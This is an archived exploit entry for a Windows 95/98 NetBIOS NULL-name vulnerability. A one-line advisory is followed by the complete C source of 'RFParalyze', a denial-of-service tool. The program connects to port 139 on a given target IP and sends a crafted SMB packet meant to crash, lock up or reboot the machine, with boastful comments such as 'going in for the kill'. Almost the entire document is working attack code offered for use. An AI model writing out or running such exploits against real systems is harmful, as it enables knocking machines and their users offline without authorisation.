Microsoft Windows 95/98 - NetBIOS NULL Name Vulnerability

                                                source: http://www.securityfocus.com/bid/1163/info

Unpredictable results, including system crashes, lock-ups, reboots, and loss of network connectivity, can occur in Windows 95/98 if a NetBIOS session packet is received with the source host name set to NULL.

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/* 	- el8.org advisory: RFParalyze.c 

	code by rain forest puppy <[email protected]>   -
   	coolness exhibited by Evan Brewer <[email protected]> -

	- Usage: RFParalyze <IP address> <NetBIOS name>

	where <IP address> is the IP address (duh) of the target (note:
	not DNS name).  <NetBIOS name> is the NetBIOS name (again, duh) of
	the server at the IP address given.  A kiddie worth his scripts
	should be able to figure out how to lookup the NetBIOS name.  
	Note: NetBIOS name must be in upper case.

	This code was made from a reverse-engineer of 'whisper', a 
	binary-only exploit found in the wild.

	I have only tested this code on Linux.  Hey, at least it's
	not in perl... ;)   -rfp

*/

#include <stdio.h>		/* It's such a shame to waste   */
#include <stdlib.h>		/* this usable space. Instead,  */
#include <string.h>		/* we'll just make it more      */
#include <netdb.h>		/* props to the men and women   */
#include <sys/socket.h>		/* (hi Tabi!) of #!adm and      */
#include <sys/types.h>		/* #!w00w00, because they rock  */
#include <netinet/in.h>		/* so much.  And we can't forget*/
#include <unistd.h>		/* our friends at eEye or       */
#include <string.h>		/* Attrition. Oh, +hi Sioda. :) */

/* 	Magic winpopup message
	This is from \\Beav\beavis and says "yeh yeh"
	Ron and Marty should like the hardcoded values this has ;)  
*/
char blowup[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49"
"\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00";

struct sreq /* little structure of netbios session request */
        {
        char first[5];  
        char yoname[32];
        char sep[2];
        char myname[32];
        char end[1];
        };

void Pad_Name(char *name1, char *name2); /* Thanks Antilove/ADM 4 codez!*/

int main(int argc, char *argv[]){
char buf[4000], myname[33], yoname[33];
struct sockaddr_in sin;
int sox, connex, x;
struct sreq smbreq;

printf("RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/\n");

if (argc < 3) {
printf("Usage: RFParalyze <IP of target> <NetBIOS name>\n");
printf("       --IP must be ip address, not dns\n");
printf("       --NetBIOS name must be in UPPER CASE\n\n");
exit(1);}

printf("Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!\n");

Pad_Name("WICCA",myname);  /* greetz to Simple Nomad/NMRC */
myname[30]='A';	           /* how was Beltaine? :)        */
myname[31]='D';

Pad_Name(argv[2],yoname);
yoname[30]='A';
yoname[31]='D';
printf("Trying %s as NetBIOS name %s \n",argv[1],argv[2]);

sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_family      = AF_INET;
sin.sin_port        = htons(139);

sox = socket(AF_INET,SOCK_STREAM,0);
if((connex = connect(sox,(struct sockaddr_in *)&sin,sizeof(sin))) < 0){
    perror("Problems connecting: ");
    exit(1);}

memset(buf,0,4000);

memcpy(smbreq.first,"\x81\x00\x00\x44\x20",5); /*various netbios stuffz*/
memcpy(smbreq.sep,"\x00\x20",2);               /*no need to worry about*/
memcpy(smbreq.end,"\x00",1);                   /*what it does :)       */
strncpy(smbreq.myname,myname,32);
strncpy(smbreq.yoname,yoname,32);

write(sox,&smbreq,72);  /* send initial request */
x=read(sox,buf,4000);   /* get their response   */

if(x<1){ printf("Problem, didn't get response\n");
        exit(1);}

if(buf[0]=='\x82') printf("Enemy engaged, going in for the kill...");
else {printf("We didn't get back the A-OK, bailing.\n");
        exit(1);}

write(sox,&blowup,72);  /* send the magic message >:)     */
x=read(sox,buf,4000);   /* we really don't care, but sure */
close(sox);
printf("done\n");
}

void Pad_Name(char *name1, char *name2)
{ char c, c1, c2;
  int i, len;
  len = strlen(name1);
  for (i = 0; i < 16; i++) {
    if (i >= len) {
     c1 = 'C'; c2 = 'A'; /* CA is a space */
    } else {
      c = name1[i];
      c1 = (char)((int)c/16 + (int)'A');
      c2 = (char)((int)c%16 + (int)'A');
    }
    name2[i*2] = c1;
    name2[i*2+1] = c2;
  }
  name2[32] = 0;   /* Put in the null ...*/
}


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